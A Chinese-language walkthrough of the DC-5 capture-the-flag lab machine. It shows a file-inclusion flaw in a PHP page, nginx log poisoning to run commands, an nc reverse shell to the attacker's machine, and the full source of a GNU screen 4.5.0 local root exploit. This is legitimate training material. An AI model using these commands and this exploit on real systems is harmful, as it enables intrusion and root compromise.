入门系列第三弹DC-5
基本信息
下载地址:DC-5
靶机:VMware,NAT
靶机地址:192.168.172.136
攻击机:kali2
Flag:1个
渗透过程
0x01 初步信息搜集
nmap查看开放端口。发现80和111开放。
nmap -sV -p- 192.168.172.136
在详细扫描一下111,看看rpcbind的信息。
nmap -p 111 --script=rpcinfo 192.168.172.136
首先通过msf扫描一下,看看是否存在可利用漏洞,发现没有。
那看来getflag又要通过80来完成。
0x02 Get Flag
首先看看80,又是一个类似博客的感觉。
每个选项都点一点都有一段话,然后没有一句话能看懂的,仍去google翻译一下,都翻译不出来,应该就是乱写的。。。。这我倒是没想到。然后进入Concat。可以提交的,看一看有没有什么反应。
最开始是没看出来什么的,感觉就是正常提交了,然后发现跳转到了thankyou.php页面。就想着去掉参数看看有什么反应。
然后发现还是显示这个,但是感觉好像哪变了,看了发现Copyright怎么变了,就又刷新了几次,一直在17,18,19,20之间变换。
就听奇怪的,感觉好像哪里不太对看看F12,在footer标签下,这个时候想到会不会是有个对应的文件啊,网站用的是php,看看footer.php是否存在。
确实存在footer.php,而且发现就是我们页面底部的变换形式,那也就是说我们底部并不是一个单纯的标签,而是文件包含进来而显示的格式。这里非常有可能有一个可以利用的漏洞,这时候我们首先扫一下后台,看看还有没有其他有可能的情况。
使用dirbuster跑一下,字典就用自带的就够了,看看还有没有什么文件。
可以看出来没什么其他的文件。到目前为止,唯一存在可利用的地方应该就是文件包含(可能)。
尝试一下。确实存在文件包含。
根据nmap分析,靶机使用了nginx,那我们想getshell的话就可以通过日志写入一句话来完成。
通过nc,向靶机写入一句话。
这里我们准备通过nc反弹shell,所以要使用命令执行而非代码执行。
我们知道nginx的日志有两个,默认路径为/var/log/nginx/,分别为access.log和error.log。
首先测示一句话是否成功。
http://192.168.172.136/thankyou.php?file=/var/log/nginx/access.log&cmd=cat%20/etc/passwd
成功了。但是dirbuster搜索后台时候导致日志记录过多条,所以可能存在有些时候读取失败的情况,尽量多刷新几次,看浏览页面处于加载状态的时候等一会就好了。
这样就很简单了,使用nc反弹shell在12345。
http://192.168.172.136/thankyou.php?file=/var/log/nginx/access.log&cmd=nc%20kali ip%2012345%20-c%20/bin/bash
在本地端口监听12345,然后使用交互式的shell。
一看见这个www-data,就又该提权了。
先看看SUID。
然后就看见这个screen-4.5.0,还真不知道是什么东西。百度了一下,是这么个东西。
Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换,并可以自由的重定向各个窗口的输入和输出。
msf看看是不是有可利用的好东西。有两个可利用的脚本。
看看第一个脚本。
根据给出的信息来看我们需要把他们分为三部分。
第一部分首先将以下部分提取出来,保存为libhax.c。
然后执行以下命令。
gcc -fPIC -shared -ldl -o libhax.so libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
第二部分将以下部分提取出来,保存为rootshell.c。
然后执行以下命令。
gcc -o rootshell rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
第三部分将以下部分提取出来,保存为root.sh。
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
编译错误是正常的,毕竟是在本机上的。
我们再通过一句话搞一个代码执行,蚁剑链接到靶机。
通过蚁剑上传三个文件到/tmp。注意修改root.sh权限为777。
执行。可以看见提权成功。其实所有过程可以直接通过蚁剑的虚拟终端完成。上传文件可以通过wget试试。
获得flag。
总结
这个靶机主要是考验文件包含,命令执行,还有screen的漏洞利用,做的还是繁琐了,其实完全可以直接就一个代码执行,所有操作依靠蚁剑就能完成,没必要nc再弹shell,上传文件才想起来用蚁剑。继续加油~